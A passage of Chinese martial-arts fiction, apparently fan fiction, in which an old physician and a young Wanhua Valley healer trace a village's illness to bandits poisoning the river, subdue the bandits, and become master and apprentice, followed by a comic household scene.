“我当年就应该治一治萍儿的眼睛,不然她也不会眼瞎选择你!”安苻无能狂怒,起身往屋头的另一侧走去。
那侧的高台上摆着一个小香炉,以及一个牌位。香炉里还有未燃尽的香,安苻点燃了三支新的香插到一起,无言注视着那块木牌上刻的名字,屋内一时寂静。
“诶我说老安头,你只是来看萍儿的吧?”
“废话,我可不想见你,一想到你这么健康还要活很久我就烦。”
何老头哈哈大笑:“那只能委屈你了,没办法,我的萍儿叫我好好活着,我不听她的话她会生气的。”
“是是是,你的萍儿你的萍儿。”安苻转身,模仿何老头的语气阴阳怪气地念了几句。
在一旁听着俩老头斗嘴的何明憋笑半天,及时出声缓解气氛:“咳咳,安伯父,大家伙都在外面等了。”
安苻抚了抚胡子,向何老头翻了个白眼,转身出门:“来了。”
何老头乐得前俯后仰。
这是何家村人的默契,大伙都知道安苻每年秋天都会来祭拜何萍,顺带着给村里人把把脉看看病。这么多年大病小病治了不少,还不收费,一问他就说“萍儿替大家付过了”,大伙都知道那只是一个随口的理由,对安苻更是敬佩,感恩安苻,尊重安苻。
8. 林青荷2
何明在家门口摆上桌椅草垫,安苻坐下就开始把脉。
大人嘴里唠着家常,手里择个菜织个草鞋,小孩在抓石子斗草,都围绕在安苻旁边,画面热闹却不吵闹,无论男女老少都自觉地降低说话音量,以免打扰到安苻。
身侧一直站着人,安苻以为是何明,直到何明从另一侧给他递来茶水,安苻才疑惑回头,对上了一双平静无澜的凤眼——是一位姑娘。
姑娘生得好看,淡紫色的衣裳简洁利落,反衬得她更显素雅。与她对视让安苻感到平和,这姑娘身上有一种道不明的气质,她只是站在那,人心莫名就被安抚了。
适合学医!
安苻抚着胡子,乐融融问道:“小姑娘对医术感兴趣?”
姑娘凤眼微眯嘴角上扬,轻轻点头,温柔至极。
感兴趣那敢情好啊,虽然不知道人是从哪冒出来的,可以教,都可以教。安抚想着再聊两句,突然“砰”地一声,坐在面前的村民头磕到了桌上,整个人就要滑落。
那姑娘脸色一变,迅速伸手去扶住村民的身体,没让他偏倒。安苻也马上反应,站了起来:“把人抬到草垫上,快。”
周围村民瞬间乱了套。个个都想搭把手,急忙丢下手头的东西往前挤,七手八脚拉拉扯扯,反倒把晕倒的人围得水泄不通。安苻大喊:“都别动!都别动!停下!小姑娘你扶住了,其他人全部松手!松手!后退!”
大伙纷纷后退,哗啦一声退成了一个包围圈。“那两个强壮小伙过来抬人,其他人再散开些!让出地方来!”小伙俩从姑娘手里接过人,小心翼翼把人搬到草垫上。
安苻走近草垫,正撩起袖子,眼瞅着那姑娘蹲下就伸手,一手把脉,一手去掰病人的眼皮看,动作从容熟练。安苻眉毛一挑,语气惊讶:“哦?原来是学医的?”
姑娘此刻神情严肃,但看向安苻时还是微微笑了:“老前辈,晚辈是万花谷弟子林青荷,别的话还请容我稍后再说。”
安苻双眼亮了,仿佛看到了什么宝物。年轻时他经好友带领去过万花谷,见识了很多奇人异士,拜读了很多新奇秘卷,交流了很多医术知识,也曾被邀请在那隐居。但安苻认为,学医就得用医,要广泛去用,所以他一直行走在路上。
既然是万花谷弟子,那安苻可就忍不住了,不知道小姑娘能力怎么样。
安苻抚着胡子,蹲下给病人探脉,顺便探探另一位:“方才在旁边看了多久?”
“从那位风寒的孩子开始就在了。”那就是大概第五位村民。
安苻抓起病人的手看:“看他们的时候,你有什么发现吗?”林青荷点头:“发现了,但晚辈方才没有亲自上手把脉,不能下定论。”
“嗯,其他的稍后再说,先救人,”安苻内心狂喜,表情冷静,“小姑娘可愿意替我打个下手?”
林青荷受宠若惊,微微一愣马上又露出笑容:“这是晚辈的荣幸,还请老前辈不吝赐教。”
刻不容缓,安苻开始安排:“明儿去煮一盆沸水,再拿个干净的碗来。”
他自己上手去解病人的上衣和鞋袜,指导林青荷从药箱里拿出针包和各种药瓶。把不同药瓶里的粉末倒进碗里,加入沸水搅开,碗要一直放在水里热着,药水不能凉。
“针放沸水里烫一会,药箱里有个小勺子,等会要用。”
东西准备到位了,安苻先把病人的头垫高,从另一个药瓶里拿出一颗小药丸,捏开病人下颚把药送到舌底。
拿起烫过的银针,沾上药水,看好穴位,进针,行针,留针,每一步都精准快速。“拿小勺子舀药水,顺着针流到皮肤上。”
“不会造成烫伤吗?”林青荷仔细看了那个小勺子,勺头细长且小,勺柄弯曲形状奇异,拿起来却很顺手,非常方便滴药。
“问得好,会主动思考不盲从,不错,”安苻欣慰,“从针上三分一的位置滴下去温度刚刚好。”
林青荷舀了一勺药,从相同的高度滴到自己手背上,水滴的位置发烫但能接受。试了三次确保没有问题,林青荷才对病人下手。
直到下完第十三针,病人开始冒虚汗。“把皮肤上的药水用布吸走,再重新滴上,循环数次。”安苻又要来了两块布,沾湿热水,敷在病人的两侧手腕处。
全程只能听见那两人说话,没有任何额外的声音,医者严肃的表情让村民们大气都不敢喘,连小孩都紧攥着玩具在探着身子看。
一碗药水就快见底,病人全身猛地一抽,安苻把病人身子稍往一边侧,拔出了插在人中的银针。紧接着,病人突然睁眼,安苻迅速把准备好的木盆递上,病人扶着盆就开始呕吐。
阵阵呕吐声和味道让人跟着反胃,一时间此起彼伏的都是围观群众作呕的声音,站得近的几个小孩纷纷捂住鼻子逃开了,唯有两位医者面不改色仔细观察着。
安苻拿起手腕的毛巾递给病人擦脸,慢慢扶着病人再躺下,重新给病人把脉。一直板着的脸终于松动了,缓缓叹出一口气。
“差不多了,准备出针。”
林青荷抬起手臂擦了擦额头,汗已经沾湿了额前的碎发,她露出放松的笑:“好。”
出针的收尾工作安排给林青荷,安苻重新放了一颗药丸让病人含着,顺手端起那盆呕吐物细看,微微皱着眉。
村民们更钦佩他了。
“你今日可有大量进食了某种食物?”安苻问病人。
病人意识已经清醒,只是还很虚弱,说话有气无力不成句:“山上……酸果熟了……爱吃……”
安苻抚着胡子点头,把盆递给林青荷:“小姑娘,说说你的想法。”
林青荷看着呕吐物去给病人把脉,斟酌了一会,直接给结论:“水源。”
没头没尾的一句,安苻听懂了。
安苻心里不禁感叹:这小姑娘沉着冷静,脑袋清晰灵活,真是学医的好苗子啊。
他拿来纸笔写了几味药材,递给何明,再缓缓道来:“各位请听我说,这位小兄弟是因为中毒后短时间内食用了大量酸果,导致毒性急发引起的昏迷。而现在的情况是,不止他中了毒,村里所有人都中毒了。”
此话一出,村民们又开始慌乱了。
“什么中毒?”
“全村所有人
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?”
“哪里来的毒?谁下的毒?”
“安大夫,都中毒了为何我们还好好的?”
……
“诸位莫慌,”安苻一抬手,焦躁的声音就消失了,“我今日进村时,就发现诸位脸色有异,方才给大伙把脉时特意留意了诸位的手心以及指甲,毫无例外全都发黑。”
村民们闻言纷纷伸出自己的双手查看,还互相掰其他人的看。
“安大夫,我这手跟平常也没什么不同啊?”有人把手掌张开对着安苻。
“此毒非急发性烈毒,平日里一点一滴地在你们身体里积攒下来,变化极不明显,又因为大伙彼此天天都见面,自是无法察觉出异样。”安苻抚了抚胡子,抬起手示了示林青荷:“我和这位姑娘,就能很明显地看出来诸位的脸色发黄。”
提到林青荷,把脉时大伙就已经留意到她,还以为是安苻带来的徒弟,所以就只是偷偷地看她,没有人提出疑问。直到听到两人的寥寥几句对话,意识到两人原来不认识。
林青荷微笑着抬手对安苻作了一揖,又转身对村民们作揖:“在下林青荷,行至此地看见老前辈在为大家号诊,好奇凑个热闹,还请诸位原谅我的不请自来。”
安苻哈哈一笑:“赶巧啊,缘分啊……”
“姑娘言重了,多亏了姑娘和安大夫的完美协作,二狗才能这么快就醒过来。”何老头回揖,脸上满是敬意,“我是何家村村长何尧,为表达对姑娘的谢意,姑娘有何需要的尽管与我说,我一定尽力所为。”
“慢着老何头,现在还不是感谢的时候,事情还没解决呢。”安苻扶着胡子说道,“方才给明儿那张纸写的是解毒的药材,明儿你带人去就近的镇子里大量购置,都是些相对常见的药材,不怕没有。”
何明点头:“我知道了,安伯父。这个毒会伤害到身体吗?”
“毒发作时会晕倒,不及时排毒就会死掉,好在大伙体内的毒现在还没深到无药可救。到时候药材回来,熬煮后每人都要喝,一日三次,至少喝五天。且七日内不要大量食用酸的食物,尤其要看好孩子们,听说山上的酸果熟了。”
“啊~”立马有孩子发出失望的声音,“安爷爷,为什么不能吃酸果?”
“看到这位叔叔了吗?”安苻笑眯眯地抚胡子,指着还躺在草垫上那个村民二狗,对孩子说,“他就是一下子吃了很多酸果,加速了毒性发作,要不是安爷爷和这位姐姐及时把他救回来,他今晚就要盖头咯。”说完坏坏地笑了。
小孩显而易见被成功教育了,嚷嚷着我不要吃我不要吃,跑去抱住自家大人。
“全村中毒,问题出在水源?”何老头毕竟是村长,立马就想到问题根源。
安苻收起坏笑:“对,老何头,这边剩下的就交给你了。家里的水可以继续用,不用怕,反正都喝那么多天了,不差这两天。有病急的就立马来找我。”
何老头明了,不再回话,开始指导村民们凑钱买药。
“走吧小姑娘,我们去看看水源。”安苻背起药箱迈步就走。
他不需要问,林青荷肯定会跟上。
9.林青荷3
两人沿着河道细细巡查,并没有发现有怪异的地方,再往上走便进山了。
“老前辈,我有些累了,不如休息一下吧?”
林青荷虽然嘴里在询问,但她的手已经伸过去扶住安苻,稳稳地往旁边的树干靠。坐好后从背篓里掏出了干粮和水,分给了安苻。
安苻也不客气,接过饼就开始吃,一边吃一边掏手帕擦汗。从上午到何家村忙到现在,早就过了饭点,安苻身体素质再好也已经年过半百了,多少有点遭不住。
“小姑娘学医多久了?”
“老前辈,我父亲是万花谷弟子,我尚未开始学字就已经接触银针和药材了。”
“噢~好娃娃,难怪手法那么熟练呢。”安苻咬了一口饼,笑眯眯地看着对方。
“老前辈过奖了,前辈医术高超,方才替前辈打下手,晚辈学到了很多,感谢前辈指点。”
林青荷一口一个前辈,听得安苻心里那叫一个高兴。安苻忍不住大笑,想起自己嘴里还有饼碎,赶紧用手捂住嘴,可不能在这么有礼貌的孩子面前失礼。“看你小小年纪,比老何头还会说客套话咧。”
林青荷闻言,连忙放下手里的饼站起身作揖,表情平静真诚:“晚辈并非客套,前辈今日所灸穴位十分大胆,行针手法于晚辈而言十分新奇,晚辈大开眼界,确实学到了很多。”
安苻本意是想调侃一下,没想到孩子居然这么认真回答,一时倒让他心生惭愧了。
“好孩子别紧张,和老夫说话不用这么拘谨,快坐下吧,吃饭吃饭,边吃边讲,别饿着了。”安苻抬手虚空扶了扶林青荷的手腕。
一块饼的时间,足够安苻把方才治疗的一些枝末细节讲完。林青荷刨根问底的态度让安苻很满意,他就喜欢这种有来有回的教导,如果只是他自己在说,那跟学徒自己看医书有何区别呢?
吃完了饭,安苻正想撑地站起,林青荷就已经伸手去扶了。
“好姑娘,你父母肯定都是温柔善良的人,才能教养出这样的你。”
林青荷微微笑起:“我的父亲确实是这样的人,只是我没有母亲……”
安苻闻言错愕,嘴巴张了张,想说些什么安慰一下。林青荷预料到了他的反应,微笑着拍了拍他的手,表示她不在意:“我的父亲给了我一个很好的成长环境,还鼓励我大胆去做自己想做的事情,我从不觉得自己与其他孩子有何差异。”
“嗯,你的父亲很了不起,虽然我未见过他,但我能从你的身上看到他会是一个什么样的人。”安苻转移话题,“时间不早了,咱们继续探查吧。”
两人起行,继续沿着河道巡查。
走了一会,安苻眼尖地发现水体中似有一缕异色漂过,正想凑近细看,旁边的林青荷突然停下了脚步,轻声说:“前辈,您看那边,有人。”
安苻顺着林青荷手指的方向看去。只见一名男子鬼鬼祟祟地蹲在河边,他的脚边摆放着数个瓶子,而他正在把瓶子里的东西一样一样往水里倒。
两人对视一眼,都意识到那人可能就在投毒。安苻眉头皱起,大喊住手,边喊边迈步往男子跑去。
男子听到呼叫,疑惑转头。
终于跑到男子跟前,安苻气喘吁吁,探手去抓男子手上的药瓶:“你在倒什么?”
男子身形一歪,躲开了安苻,满脸鄙夷:“你谁啊?”
走在后面的林青荷直接跨过安苻,抓住男子的胳膊,另一边手抄起男子手腕往身后掰。动作不慌不忙,但男子就是来不及反应规避,毕竟谁能想到,一个看似柔弱的姑娘伸手过来是直接对你实施擒拿呢。
“嘶啊啊痛痛痛痛……放手!放手!”
林青荷一推,把人往路边甩,避免他把脚边的药瓶踢进水里。顺带把他手上的药瓶夺了过来递给安苻,自己也弯腰拿起一瓶,凑到鼻子处闻了闻。
“是雄黄……”
“这瓶是生附子。”
两人立马捡起剩下的瓶子查看,不出所料——果然都是些有毒性的药材。
安苻脸上的和善褪去,眉头紧锁,面有愠色:“小伙子,你为何要往水里投毒?”
男子刚吃了一介女流的亏,现在还要受一个老头的脸色,气不打一处来:“多管闲事,找打!”囔囔着向安苻挥来拳头。
拳头刚伸过来,就被林青荷半路截道,林青荷再次把男子的手擒到了身后,同样的亏他吃了第二次。
安苻内心感叹,自己终究是老了,方才跑那几步就累昏头了,不然怎么看这小姑娘抓人那动作简单流畅得就像在扯一团面?
“臭娘们!给老子松开!看我不打死你!”男子无能狂怒。
林青荷面无表情,只是手突然一掰。一声清脆的骨头响传来,男子的手就像一条死掉的鱼滑了下去。就像是为了悼念这条“死鱼”,男子发出了惨痛的悲鸣。
安苻真觉得自己眼花了,不然这小姑娘怎么只是轻轻一掰,就像是随手打开药瓶塞子“啵”的一声,就把人胳膊给脱臼了。
男子大口喘着气,满头大汗,嘴唇都白了,瞪了一眼林青荷,踉跄着转身就跑。
林青荷叹气:“我放开你只是不想一直抓着,不是为了让你逃跑的……”
安苻看着林青荷从随身的小佩囊里,摸出了一颗什么东西,看着她抬起手对准那个逃跑的身影,看着她掷出了那颗东西。
只听闻一声惨叫,那个逃跑的身影突然就跪在了地上。
安苻挠头。他好像被林青荷温婉的外表给骗了。
“麻烦阁下帮我把棋子捡回来吧,我不想再浪费一枚棋子打你的头。”林青荷微笑着说。
那个笑容明明很温柔,看在男子眼里却如此渗人,感觉他如果不听话,下一秒真的就要爆头了。他慌张地扫了一圈地面,捡起那枚棋子,瘸着一边脚跳回来,恭恭敬敬单手把棋子奉上。另一边手还“死”着呢。
“女……女侠饶命!我我我只是奉命行事,什么都不关我事啊!你们想知道什么?我都告诉你们!”
林青荷与安苻对视一眼,微微点头,示意由安苻来质问。安苻厉声:“你为什么投毒?”
“是我们老大让我这么做的……我们是山
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上的虎头帮。”
“山贼?投毒的理由呢?”
“两个月前,我们虎头帮去河流下沿的何家村收保护费,没想到被那些村民打了出来……老大气不过,找人要来了这些……药材,吩咐我们每日来投进水里,说要报复何家村……”
安苻好想笑。
他之前教何家村村民打五禽戏,本意是强身健体,村长何老头学会后改动了一番,打熟练后既能强身也能防身。想到那伙山贼被村民打得抱头鼠窜,安苻就想笑。
忍住,不能笑,下毒这事还是太过分了。
安苻厉色:“实在令人发指!你们只是山贼,哪来的钱财大量购买这些药材?难道全靠抢夺老百姓吗?”
“呃……听说这些,都是药材铺清货便宜卖的劣等药材,并不需要很多钱……”
“噢那难怪,村民们虽然中毒,但并不深。”安苻抚了抚胡子,“水源被污染不止何家村受害,对河里的动物伤害更大,如此卑鄙下作的山贼,要报官抓起来才行。”
林青荷点头表示同意:“前辈,您回村里通知村民们快去报官吧。”
安苻嗯了一声,抚着胡子,突然才反应过来林青荷在说什么:“啊?我回村,那你呢?”
“这里离镇上有些脚程,现在天色也不早了,官府的人不一定什么时候到。我先去把他们稳住,避免风声走漏,被他们逃了。”
“那我们一起去。”
“不,前辈,我自己去。”
安苻大惊:“我怎么能让你一个孩子只身冒险?我们一起去把村民们叫上,人多力量大!”
林青荷没有回答,她转身正对着安苻,握住了安苻的手,注视着他的眼睛,认真说道:“好前辈,现在村民们的安危在我们手上,我们分头行动,早些报官,官府才能早些来,村民们才能早日安全,对不对?所以由您去通知何家村,好吗?”
“那姑娘你去通知村民,我去稳住山贼。”
“前辈,方才您也看到了,我有能力保护好自己的。您没有自保手段去见山贼,反而会被伤害。”
那双平静的眼睛再次安抚住了安苻。安苻也不是没有自保手段,但毕竟年纪在这,他不能保证自己能全身而退,万一被山贼抓住,反而害人。安苻相信她,这个姑娘很聪明,她自有分寸。
安苻点头答应:“那你一定要万事小心,注意别受伤,有什么情况不要硬碰,找个地方躲起来等着我们。”
“嗯,我听您的,您赶路不要急,要好好看路,别摔了。”林青荷弯起嘴角,眨了眨眼轻声说道:“前辈您放心。其实,比起治疗,我更擅长下毒。”
安苻眉毛一挑,顿时安心了。这小姑娘真是让人惊喜连连。
情况紧,安苻没有再多说什么,转身下山。
林青荷把那些装着劣质药的瓶子装进背篓里,走到男子跟前,没等男子反应,抓起男子的手“咔”一声就给他装回去了。
男子懵圈,这条手装卸怎么跟吃饭一样简单?
“还请阁下带路,我要见你们的首领。”林青荷礼貌客气。
10.林青荷4
“大当家,宽子带了个女人回来!”
传话的小弟一嗓子把无所事事的山贼们都给喊过来了,大伙纷纷张望。
虎大正靠躺在他的专属位置上,吃着小弟们搜来的果子。粘腻的果汁四溅,把那圈长长的络腮胡沾成一缕一缕。虎大疑惑抬头:“女人?”
很快,好奇的山贼们就看到了那个女人。她好生漂亮,这么一位亭亭玉立的大家闺秀,在虎头帮原始杂乱的环境中格外跳脱。
林青荷环视一圈,默默点了人头数。方才路上问过一些虎头帮的情况,这会数着人都差不多在这了。
见到虎大,林青荷直奔话头:“阁下便是虎头帮当家吧?”
不知道这姑娘什么来头,虎大谨慎地坐直了身子:“姑娘有何贵干?”
“虎当家可知,往水里投毒会害了多少人和物?”
虎大一听,自然明白来者何意。但你这手无寸铁的姑娘就敢只身来质问,难免招笑。
虎大双臂一摆,语气轻浮:“原来姑娘是来伸张正义的,我管你什么人和物,我就投了那又如何?不过,姑娘长得这么漂亮,要是愿意当压寨夫人哄得我虎大开心,我也可以考虑放过你说的人和物,怎么样,很给你面子了吧?哈哈哈咳咳咳咳咳……”
旁边围着的手下听自家老大说起混账话,自然要捧场,各个都不怀好意地看着林青荷,跟着虎大一起笑。然只见林青荷抬起手,他们正张嘴大笑的当家突然掐着喉咙剧烈咳嗽起来。
“咳咳咳……你咳咳……你干什么!?”虎大费力地缓过咳嗽,恼火问道。
林青荷面无表情:“阁下话太多了,不爱听。既然虎当家喜欢给别人下毒,那你也尝尝被人下毒的滋味吧。”
“你!?你给我吃了毒药?”虎大恼羞成怒,摔碎了桌上的酒杯。这跟被何家村村民追着打一样憋屈,没想到对方一介女流,一句废话没有直接就给他下了招,显得他说了那么多话很愚蠢。
“臭娘们不讲武德!给我抓住她!”
林青荷自小在万花谷那种亲敬友尊的环境长大,一直到出来游历,她才知道原来花谷是世外桃源。她一个花样姑娘只身在外行走,遇到过太多不怀好意不讲道理之人。好在,父亲从小就支持她去学自己更感兴趣的点穴截脉和药毒。
虎头帮手下们丝毫没意识到,林青荷能隔这么远,精准地把一颗药丸投进他们老大的嘴里意味着什么。两个距离林青荷最近的手下还嬉皮笑脸地,准备动手。
正靠近跟前,林青荷突然掏出一根东西,以极快的速度往两人身上一通点打,只听数声闷响,两名手下呃一声倒下了。
过程之快,其他人都没反应过来,顿时有点懵,呆在了原地。虎大离得远,更是没看清她干了什么,但显然不是个省事的:“全都给我上!”
手下们闻言,一改方才的轻佻,个个面露凶相往林青荷靠近,逐渐把林青荷围在中间。
林青荷环顾四周,在前方的山贼手即将伸过来时,一个后跳,同时左手一挥,山贼们眼前出现了一片粉雾。
“障眼法?哈哈哈,没招了吧小姑娘,别以为洒个粉就能脱身!”
眼睛瞥到侧方人冲了过来,林青荷侧身躲闪,判官笔打出,连点对方身上数个穴位,直接再倒一个。扇开粉雾的山贼们,再次靠前把林青荷围起。林青荷看准包围圈的空隙,再次挥洒了一片粉雾,同时太阴指使出,直接脱离了包围圈。
一番下来,十来个山贼竟没一个人能碰到她。看得虎大更恼火了,一堆大男人抓不住一个弱女子?
林青荷也觉得有点简单了。但转念一想,何家村村民都能追着他们打,看来也是没什么能力的小瓜小枣。
“废物东西们!滚开!让我来会会!”虎大大喊,提起身侧大刀。
虎大提起身侧大刀。
虎大提起身侧大刀。
虎大……提不起身侧大刀……
虎大疑惑回头,看向身侧大刀。
这天天提着走的刀,今日怎么这么重……不对,为什么自己周身发软,手脚无力……
“虎当家,省点大喊大叫的力吧。”
虎大突然脚一崴,跌坐在地上。他看向林青荷,却发现他的手下们一个个的也开始东倒西歪,仅剩几个离得远的山贼还站着。
“你……你干了什么?!”
林青荷逐步靠近还完好无损的几个山贼,那几个山贼吓得拔刀。
“诸位好生待着,不跑不打,我不会为难你们的。”
话音刚落,还是有不怕死的,提着刀大喊大叫往林青荷砍去。林青荷连连后跳躲避,一颗棋子直接击中那山贼的额头,山贼应声倒下。剩下的几个干瞪眼看着,谁都不敢再往前。
寻思那几个不敢再来了,林青荷避开地上躺的山贼,慢慢走到虎大面前:“我说了,既然虎当家喜欢给别人下毒,那你也尝尝被人下毒的滋味。”林青荷莞尔一笑,“放心吧,我不会让你死的。”
虎大奋力想站起来,费气半天也只是在地上咕蛹了一番。
林青荷凑近虎大,想捏开虎大的下颚往他嘴里塞药丸,但那一缕一缕黏着果汁的胡子让她实在难以下手。林青荷直接点了两个穴,虎大嗷一声惨叫,药丸顺利抛进喉咙,不免又是一阵咳嗽。
“你又给我吃了什么……”虎大惊恐。
林青荷没有回答,巡视一圈准备找个地方坐,发现最干净的居然是虎大的专属座位,只好坐那了。
腹部传来一阵声音,虎大顿感不妙。没等他做好心理准备,肠子就像突然打了死结还被狠狠拉扯,剧烈的疼痛感传来,虎大身子一挺,差点晕了过去。没晕成,那就只能让手下们听他惨叫连连了。
虎大痛得话都说不出来,抱着肚子在地上打滚,脸色发白汗如雨下,牙缝间挤出四个字——女侠……饶命……
百般无聊地看虎大翻了一会,林青荷又掏出一颗药丸。虎大已经痛得没有力气反抗了,眼睁睁看着药丸直接进了自己嘴里。
很快,虎大感到头要炸开了。这下一双手一会要捂肚子,一会要抱头,根本忙不过来。虎大觉得,直接死掉也挺好的。
老大在那边仰卧起坐,手下们这边哪敢出声,一个个都装蘑菇,祈祷林青荷别想起他们。方才给林青荷带路的宽子,一直站在最外沿,这会看着大伙都栽倒了,不能再留在这里,趁林青荷
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没有注意到自己,悄无声息地挪动。
林青荷从佩囊里摸出两颗棋子,手指发力掷出,精准打在宽子双腿的腘窝上,宽子直接对着天地又一跪拜。
“说了不要跑,麻烦阁下,可以帮我把棋子捡回来吗?”林青荷微微笑着。
安苻带村民赶到的时候,看到的是躺了一地的山贼,以及干干净净坐在上面吃水果的林青荷。
拉着林青荷上下左右看了一圈,确保她无伤无痕,安苻才松了那口气。林青荷则笑着递给安苻一个果子:“前辈您快尝尝,这个酸果真的很好吃,难怪二狗叔会一下子吃那么多。”
林青荷一直在何家村待了七日,与安苻一起把村民们的毒性完全解掉,也帮着清理了水源,扫清了山贼窝。
给最后一个村民把完脉,这事总算是告一段落了。安苻转头问:“青荷,你接下来准备去哪?”
林青荷收起药箱:“嗯……不知道呢,走到哪算哪。”
安苻笑呵呵地抚过胡子:“不知道老夫有没有这个荣幸,能成为青荷姑娘的亲传师父呢?”
林青荷少见地愣住了。
何老头正好在旁边听,一阵大笑:“好你个老安头,真不要脸啊。你看看你,把姑娘家吓得都不知道怎么回话了。”
安苻剐了何老头一眼:“我就不要脸怎么了?青荷这么好的孩子,谁能当她的师父,那都是八辈子修来的福气!”
林青荷却收起一贯的笑容,直接跪到地上,认真且严肃。
“能成为前辈的弟子,才是青荷八辈子修来的福气。弟子——拜过师父。”
后来,安苻带着林青荷走过很多地方,见识过雪山,也品尝过苦涩的沙子;踩过大草原,也吃过新鲜的荔枝。
直到那年秋天,两人再回何家村,安苻没有再远远听到那声呼唤。村长何明的家中,多了一块牌位。
安苻突然觉得累了,他已经走得够多,够远,够久,他想停下来了。
于是,梅花街出现了一家医馆。
“两人咬耳朵有什么不能让我听的呢?”林青荷走到二人跟前。
“安老前辈在给我讲他的徒弟如何空手擒猛兽。”
林青荷眉眼弯起,露出笑容。
安苻把眼眯了起来,继续摇着手里的大蒲扇,轻轻晃着摇椅,笑意还挂在嘴边,洋洋得意。
“三拾,刘婶烫伤的药配好了,需要注意的我写在纸条上了。然后,还有这个。”
林青荷递上绑好的药包,以及一些油灯芯。
“油灯芯?这也是药吗?”
“不是,刘婶家里油灯芯用完了,她摸黑去熬面汤,绊到脚汤洒了,这才给烫着了。这些先拿去给她们用。”
三拾了然。平日天气好的时候借着天光月光便能干活,偏偏昨夜阴雨连绵到今早。
“好三拾,辛苦你跑一趟了。”林青荷把三拾送出了门口。
三拾回头看了一眼方才想闹事的壮男,悄悄问林青荷:“听说你当年刚从万花谷出来的时候,曾把几个土匪流氓打得跑进官府求救,是真的吗?”
林青荷眨了眨眼睛,微笑着歪了歪头。
“你猜?”
11.唐千聚 x 祝离1
拿了药三拾就不再耽误,直接回到刘婶家。
刚进门,一声刺耳的尖叫声传来。紧接着便是连续的尖叫声,短促又尖锐。三拾撒开腿往声音方向跑去:“发生什么事了?!”
“啊啊啊啊!!”
“嗯?三拾来啦。”
三拾感到十分的无语。叫得那么惨,他以为他会看到恐怖的流血画面。而不是现在这样——刘婶坐在旁边的小板凳上笑,锦菱一手拿着锅铲一手拿着锅盖,在激烈地炒菜。
知道的是在炒菜,不知道的还以为她是战场上拿着刀盾在拼命的士兵。三拾好无力,有种被戏耍的感觉。
“……你炒个菜嚷嚷什么!?”
“啊啊啊水溅起来了!不对,是油!好烫啊啊啊啊!”
三拾怒!一把走上去抢过锅铲,连药带人把锦菱推走。锦菱抱着药,嘤嘤嘤地下战场了。刘婶在旁边笑得合不拢嘴。
最终,三拾端着三碗面上桌,就着一碟小菜,总算吃上了今日的第一顿饭。
“我……本姑娘是第一次下厨,惊慌失措很正常,谁第一次都会这样吧……下次本姑娘肯定就能炒出一道美味的菜!”
“闭嘴,吃饭。”三拾给了锦菱一个眼刀。虚张声势的笨蛋最令人头疼。
锦菱被打击到,瘪了吧唧开始唆面。刘婶夹起一筷子菜放到锦菱碗里,开始安慰:“婶第一次下厨的时候,菜刚放下去就被吓到跑出家门口了。”
“……刘婶,你倒也不用为了安慰我这么瞎说。”
“哈哈,锦菱这不是挺聪明的嘛,只是不熟练而已,再来一次肯定能做好!”
就像是一株沙漠中干涸许久的草突然喝饱了水,锦菱肉眼可见地挺拔起来。
“没错!下一顿饭我一定可以做好!”锦菱化失落为食量,把面条当敌人,开始用力吃饭。
这姑娘真的聪明吗?怎么看都像个二傻子。
“没刘婶做的好吃。”
二傻子!没礼貌的二傻子!闭嘴吃你的面!
众人吃完,锦菱积极地把刷碗和煮药都揽在自己身上,要勤快干活才能不算白吃白喝白住。
三拾还要去摆摊,刘婶便乐呵呵地把人送出门口。
“三拾,有个事婶想跟你说一下。”刘婶压低了音量,从袖口里拿出一样东西,递给三拾。
“这是?”
“其实婶不是绊到灶台的,婶非常肯定,当时是踢到了人。”
三拾:?
意外事件怎么变惊悚事件了?
“这个东西,是在厨房地上捡到的,婶寻思应该是那人留下的,你看看。”
三拾接过刘婶手里的东西,左右翻看,眉头皱起。那是一个蓝色的穗子流苏,上面的绳子已经断了。流苏上绑着一个指甲盖大小的金属物,细看便能认出,那是一个面具形状的小饰物,模样十分精致。
三拾内心直呼见鬼,他知道刘婶踢到的人是谁了。
“刘婶,你为何不和锦菱青荷提起这个东西?”
“我刚才翻看了一下,家里并没有缺少什么,说明不是为财。锦菱刚在我这住下,那人就半夜潜进我家,只怕是采花贼!婶怕说出来会吓到锦菱那小姑娘。”
三拾没崩住,笑了:“婶你小看她了,恐怕是采花贼要被她吓到。”
刘婶嗔怪地瞪了一眼三拾。
“你踢到那人之后呢?”
“我吓了一大跳,汤没端稳便洒到手上了。那人躲在角落里,灶台的火光被挡住了,我没看到他。踢到他后他就跑了,我怕锦菱出事,就赶紧回了屋里。”
三拾琢磨了一下:“别担心,这人不是采花贼,估计是昨晚借住了一下你的厨房,以后不会再来的。”
“什么正经人家会三更半夜躲在别人厨房里住?”
那确实不是什么正经人家。
收起穗子流苏,三拾跟刘嫂告别后便去出摊了。
三拾不爱管闲事,但闲事打到自己家里来了。
他在门外就听到院子里叮叮当当嗖嗖哒哒的声音,想来也不能是二郎自己在家里边跳舞边打铁吧?那就只有是在打架的份了。
推开门,尚未能看清是个什么样的局势,一支锋利的弩箭就擦着三拾的头发而过,钉在了木门上。三拾看了一眼那支弩箭,看了一眼落在地上的断发,一口气差点没缓上来。他熟练地喊出那句话:
“快住手!你们不要再打了!要打出去打!”
嗐,这一天天的,都是什么破事啊——三拾心里苦。
兵刃相触的瞬间,两人都听到了三拾的呼喊。二郎直接借着对方的力急速后退,落在了三拾身侧。
“呦!三拾,家里什么时候养了只这么凶的猫?”
说话者身穿一身蓝黑色劲装,手里拿着一把千机弩架在肩膀上,头微微歪着,耳垂上箭头状的银色耳坠泛着淡淡的寒光,高高束起的马尾干净利落。只是那张略显稚嫩的脸上挂着挑衅的笑容,看得二郎拳头发痒。
“和你一样,自己翻墙进来的。”三拾不理解这些人怎么一个两个的都喜欢翻墙,不能好好走门吗?他从口袋里翻出刘婶给的那个穗子流苏,丢给唐千聚,“来了正好,省得我要走那么远去找你。”
唐千聚接过手一看,眼眸亮了,露出了开朗明媚的笑容:“怎么在你这!我还以为再也找不到了。”
“你昨夜里躲别人家厨房干什么?”
唐千聚脸色一变,紧张起来:“哇你提醒我了,快,进屋里再说。”说完就一溜烟自己推门进屋了,丝毫不顾这个屋真正的主人什么表情。
三拾扶额,问起身侧的人:“你们怎么打起来了?”
“他翻墙进来时被我碰了个正着,我以为是歹人,毕竟谁家好人会翻墙进屋的?”
不是,你怎么好意思说这句话的?你没有一点自知自明是吗?
对上二郎那副无辜的表情,三拾无语。
“喂——别站外面了,快进来!”唐千聚从门后探出头,小声喊道。
待三拾和二郎进了屋,唐千聚迅速把门关上,鬼鬼祟祟地在门纸上戳了一个洞往外看。
三拾:?
三拾:“你最好是给出一个合理的解释,不然我扒你衣服补洞。”
